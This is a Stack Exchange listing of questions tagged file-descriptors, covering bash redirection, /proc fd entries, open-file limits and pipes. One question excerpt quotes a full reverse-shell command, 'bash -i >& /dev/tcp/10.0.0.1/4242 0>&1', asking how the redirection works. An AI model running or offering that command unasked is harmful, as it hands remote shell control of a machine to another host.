Questions tagged [file-descriptors]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0 votes
0 answers
19 views

how to close file descriptor bigger then 9 by dash in shell script

I want launch a shell script in code called system("sh example.sh"), and close all file descriptors like this: for fd in $(ls /proc/$$/fd); do case "$fd" in 0|1|2) ;;...
user avatar
  • 1
-1 votes
1 answer
30 views

Can the stdout (1) file descriptor be re-used after closing?

I first call close(1) and then later open a file using open() syscall. Is it possible that open() returns 1 because it will use the lowest free file descriptor? I have read that open() uses the lowest ...
user avatar
  • 293
2 votes
0 answers
25 views

What do the permissions mean in /proc/<pid>/fd/?

I'm looking at the result of running ls -l on /proc/<pid>/fd/: lr-x------ 1 root root 64 Apr 22 23:13 0 -> /dev/null lrwx------ 1 root root 64 Apr 22 23:13 1 -> 'socket:[19700]' lrwx------ ...
user avatar
2 votes
1 answer
54 views

FIFO and simple bash parallelization on CentOS

I am having problems adapting a bash script to handle a simple parallel execution from Ubuntu 20.04 to CentOS Linux 8. In the script I spawn multiple "readers" that read a string from a FIFO ...
user avatar
  • 21
0 votes
2 answers
38 views

meaning of file type c in ls -l command [duplicate]

I am wondering what the type c is in the ls command. I was following the symlinks at /dev/stdin and ended up with /dev/pts/0 $ ls -l /dev/pts/0 crw--w---- 1 blue tty 136, 0 Apr 8 21:50 /dev/pts/0 I ...
user avatar
  • 145
2 votes
0 answers
38 views

bash: writing to the file descriptor #3 of an unnamed (anonymous) pipe

I need to call a PHP interpreter, which is in a docker container, from my Linux host system. For some reasons I don't want to install PHP on the host system. Now I'm trying to call PHP in this way: ...
user avatar
3 votes
0 answers
68 views

Bash - Reading from file descriptor twice

I am working with Linux file descriptor at the moment to communicate with an external device via serial port, and I wonder if it is possible for me to duplicate the result returned the device. In ...
user avatar
0 votes
0 answers
211 views

kafka + too many open files between Kafka brokers or may between broker and clients

we are facing very major problem with our Apache Kafka servers our Kafka servers are creased because "Too many open files" we have production Kafka cluster with 7 machines , while Kafka ...
user avatar
  • 10.9k
0 votes
1 answer
100 views

What would be the stream for file descriptor 3u?

I know that the stream for file descriptor 2u is stderr. However, I'm not sure what the stream for file descriptor 3u would be and why? Ultimately, what does 3u represent here?
user avatar
0 votes
1 answer
119 views

Writing in the file descriptor of the child process (fd/0)

I'm playing with file descriptors in my CentOS 7 sandbox. In doing so, I noticed an interesting situation. Suppose we've a simple PHP script: $step = 4 * 1024; echo "php started\n"; while (!...
user avatar
0 votes
1 answer
62 views

execlp "sort" with input from pipe stucks, why?

sort is waiting, but what? I tried execlp("head", "head", "-n", "3", NULL); instead sort and it works fine. #include <stdlib.h> #include <sys/wait.h&...
user avatar
  • 3
0 votes
1 answer
57 views

File descriptor 10 when running a script (Bash/dash, etc.)

When the script runs, a file descriptor 10 appears with the contents of the executable script. For example, the script: #!/bin/sh sleep 600 When viewing the fd of a running script through processes, ...
user avatar
  • 127
2 votes
1 answer
82 views

increasing fs.file-max: what are the others kernel params need adjustments (for running kafka)

For running a kafka service (with jbod disks, where we encountered problems due to too many open files) with an increased LimitNOFILE of 500000, we decided to increase the fs.file-max from 500000 to ...
user avatar
  • 10.9k
0 votes
2 answers
235 views

how to find the number of open files per process

we have kafka service ( as systemctl service ) and we configured in that service number of open files example: [Service] LimitMEMLOCK=infinity LimitNOFILE=1500000 Type=forking User=root Group=kafka ...
user avatar
  • 10.9k
-2 votes
1 answer
910 views

What does the output of `ll /proc/self/fd/` (from `ll /dev/fd`) mean?

Related, but not duplicates: /dev/fd inconsistency How does /dev/fd relate to /proc/self/fd/? Why does process substitution result in a file called /dev/fd/63 which is a pipe? On Ubuntu 18.04 and 20....
user avatar
0 votes
2 answers
97 views

Are there "non-standard" streams in Linux/Unix?

The so-called "standard streams" in Linux are stdin,stdout,stderr. But they must be called "standard" for a reason. Are there non-standard streams? And are these non-standard ...
user avatar
  • 121
2 votes
1 answer
125 views

zsh: understanding sequence of redirections and pipe with pointers

In zsh, echo "hello" 1>&1 1>&1 1>&1 | cat prints hello 8 times, while echo "hello" 1>&1 1>&1 1>&1 1>&1 | cat prints hello 16 ...
user avatar
0 votes
1 answer
173 views

Closing stdout fd gives error, while closing stderr fd does not

The following test code gives error "bad file descriptor". Why is that so? This is just a test code to understand file descriptors and their interaction with pipes. Example 1) ❯ echo "...
user avatar
1 vote
1 answer
148 views

Redirection to stderr works in bash, not in zsh

In bash, ❯ echo "hello" 1>&2 | echo "world" hello world In zsh, ❯ echo "hello" 1>&2 | echo "world" world More than a way around this, I am ...
user avatar
2 votes
2 answers
124 views

Struggling with understanding redirection in pipes and subshells: Code explanation would be highly appreciated

Please consider the following log from a terminal session (Debian Buster, Bash 5.0): root@cerberus ~/scripts # rm -f result root@cerberus ~/scripts # { { echo test; } | cat > result; } root@...
user avatar
  • 2,191
5 votes
1 answer
200 views

On `tty <&1` vs `echo $(tty <&1)` vs `echo $(tty <&2)`

The key statements in the snippet below (i.e. other than those for printing labels and blank lines, for spacing) come in pairs. In each pair, the first and second statements have the forms tty... and ...
user avatar
  • 12.7k
0 votes
1 answer
36 views

dd command took alot of disk space when just coping open file from file descriptor

I have more than 30 qemu-kvm process open with different images. Their images where accidentally deleted. I searched and i found out that as the file is still open in a process. It can be still ...
user avatar
  • 3
0 votes
1 answer
110 views

Redirecting any and all file descriptors to a file

Redirecting output from a known file descriptors to a file is as simple as ./binary 1> ./file 2>&1 But, let's say I have a binary which might be using file descriptors other than 0, 1 and 2....
user avatar
1 vote
1 answer
34 views

Bash: Difference between paste command with Command Substiution vs. FIFO FDs

I'm just trying to understand why when I use a couple FIFO FDs in a paste command I get a 'Broken Pipe' but when I use Command Substitution everything is all good. A little background: I have a need ...
user avatar
3 votes
1 answer
727 views

Are ioctl calls blocking?

I am writing some code around libgpiod's interface. For example, I want to set a line to output high. Under the hood, libgpiod opens an fd provided by the kernel for the line, and then calls ioctl(fd, ...
user avatar
  • 4,570
1 vote
0 answers
48 views

Bash file descriptor redirection mystery [duplicate]

This is a mystery encountered at work today. Note that this behavior seems to be specific to a binary that I do not know the contents of, but any ideas as to how this phenomenon could occur would be ...
user avatar
-1 votes
1 answer
55 views

Why someone use descriptors with /dev/null?

I don't get it. I see in some tutorials that people use descriptors like that (for output and errors) command 1> /dev/null command 2> /dev/null But why they do that? We can't see the output on ...
user avatar
  • 165
4 votes
1 answer
471 views

How do I close a named file descriptor without closing stdin/stdout?

exec {ec}< <(echo "puts 'hello'") && sudo ruby /proc/$$/fd/${ec} As soon as I close it with exec <&"${ec}"- The shell exits. In another situation, I create ...
user avatar
  • 904
1 vote
0 answers
114 views

How can lsof report a higher number than the ulimit?

From time to time some user consumes all the file descriptors (FDs) on a RHEL Linux machine. I have started logging the FDs per user to see the actual state. The logging is run as root to have access ...
user avatar
  • 111
0 votes
1 answer
375 views

How to get open file descriptors/handles using libprocps in c program

I am trying to create a performance display for my IOT device. The device uses Linux so , i want to get the number of file handles programmatically using C program. Currently i am using libprocps API ...
user avatar
  • 13
0 votes
0 answers
67 views

Is it possible to name an anonymous file socket?

Suppose I perform the following command: python3 foo.py Usage: foo ... Next, I use redirection: python3 <(foo.py) Usage: 63 ... (because the file descriptor assigned is /dev/fd/63) My arg ...
user avatar
  • 653
5 votes
0 answers
225 views

AF_UNIX: Using recv() to receive a message sent with sendmsg()

The function prototype for the sendmsg() function is as follows: ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags); and the msghdr struct is such: struct msghdr { void *...
user avatar
  • 419
1 vote
2 answers
191 views

Is there any way to de-couple stdin into multiple input sources?

I am looking for a way to have two stdins to a bash script, namely one that is interactive and another which could leverage redirection Say I need to invoke a program which asks for credentials of the ...
user avatar
  • 11
10 votes
3 answers
1k views

Can I get UNIX file permissions to take effect immediately for all processes?

When I change the permissions on a file using chmod, existing file descriptors can continue to access the file under the previous permissions. Can I cause those existing file descriptors to close or ...
user avatar
  • 1,335
1 vote
1 answer
186 views

why is there a "0>&1"?

I am still trying to figure out how this command works? bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 I found out somewhere that 0>&1 means that STDIN is sent through the connection, ...
user avatar
1 vote
1 answer
106 views

Difference between >&/dev/null and &>/dev/null [duplicate]

I tried to find information about the operator order in the statement >&/dev/null Is there any difference between >& and &>?
user avatar
0 votes
1 answer
43 views

How to auto-detect filetype in pastebinit?

I use pastebinit to share snippets. As you can see, it has a -f switch so the rendered webpage highlights the uploaded file depending on the format of the file (like -f python or -f bash). Now, I want ...
user avatar
0 votes
1 answer
42 views

/dev/fd inconsistency

What explains the following inconsistency in the reported contents of /dev/fd? erhannis@mnode6:/dev/fd$ ll /dev/fd/ total 0 dr-x------ 2 erhannis erhannis 0 Jan 12 22:10 . dr-xr-xr-x 9 erhannis ...
user avatar
  • 219
7 votes
1 answer
579 views

Why is the file descriptor opened and read only once?

Why can it be used only 1 time when we open the file descriptor ourselves and redirect it to stdin? Please take a look at the example below to understand what I want to say. After reading it once with ...
user avatar
  • 1,082
1 vote
2 answers
630 views

What is the historical reason for limits on file descriptors (ulimit -n)

When I first borrowed an account on a UNIX system in 1990, the file limit was an astonishing 1024, so I never really saw that as a problem. Today 30 years later the (soft) limit is a measly 1024. I ...
user avatar
  • 29.5k
0 votes
1 answer
883 views

How is "multiple file descriptors refer to the same socket" created?

The Linux Programming Interface says 56.5.5 Connection Termination: close() The usual way of terminating a stream socket connection is to call close(). If multiple file descriptors refer to the same ...
user avatar
  • 89.7k
2 votes
1 answer
129 views

How to calculate number of open files and number of file descriptors

what are differences between number of open_files and number of file_descriptors in linux ? I'm confused . The value in the /proc/sys/fs/file-max is for total file_descriptors or total open_files ? ...
user avatar
  • 21
2 votes
0 answers
1k views

Bash supress "Bad file descriptor" error message

I get the following error message when I try to write to a file descriptor when the other end has the fd closed before the writing: ./scr.sh: line 5: "$fd": Bad file descriptor the code ...
user avatar
  • 105
1 vote
1 answer
282 views

How does linux manage the offsets of files

After reading this post: https://stackoverflow.com/questions/14189944/unix-system-file-tables, I've basically understood how Linux manages the files. But I don't know how to manage the offsets of the ...
user avatar
  • 2,809
0 votes
2 answers
447 views

Does fork() also copy the file descriptor for the executable binary that the calling process is currently executing?

I've read the man pages on fork(), and they say something along the lines of "all file descriptors open in the calling process are copied". It is not 100% clear to me if the file descriptor ...
user avatar
2 votes
1 answer
202 views

Additional file descriptor for debugging and piped output (logging, metrics, etc)

For a bash script project, I write human-readable log info to stdout/stderr. Additionally, I want to write formatted metrics to a third stream that will be discarded by default but can be redirected ...
user avatar
  • 23
1 vote
0 answers
79 views

Portable way of writing /dev/fd/X in bash

I want to remove files before they are used, so in this example I want to unlink col1, col2 ... col1000 before paste starts. exec 3< col1 4< col2 ... 1002< col1000 rm col1 col2 ... col1000 ...
user avatar
  • 29.5k
3 votes
1 answer
351 views

How to redirect stderr to stdout then pipe (apt-cache)

I'm trying to redirect stderr to stdout and then pipe it but I think I'm missing something basic here. The command and output to be piped: $ apt-cache show contractor N: Can't select versions from ...
user avatar
2 votes
2 answers
75 views

See to what the output of a process is redirected

I have a process that should have his output redirected to output.txt. Unfortunatly the output does not go to this file. First i checked if I called it from another directory, but there is no output....
user avatar
  • 123
1 vote
1 answer
122 views

Will the kernel hold the whole file to which some process is writing

After posing this question, I'm kind of confused by the action of the linxu kernel. First of all, I know how a process writes strings into a file: a process will obtain some buffer, the buffer can be ...
user avatar
  • 2,809

1
2 3 4 5
8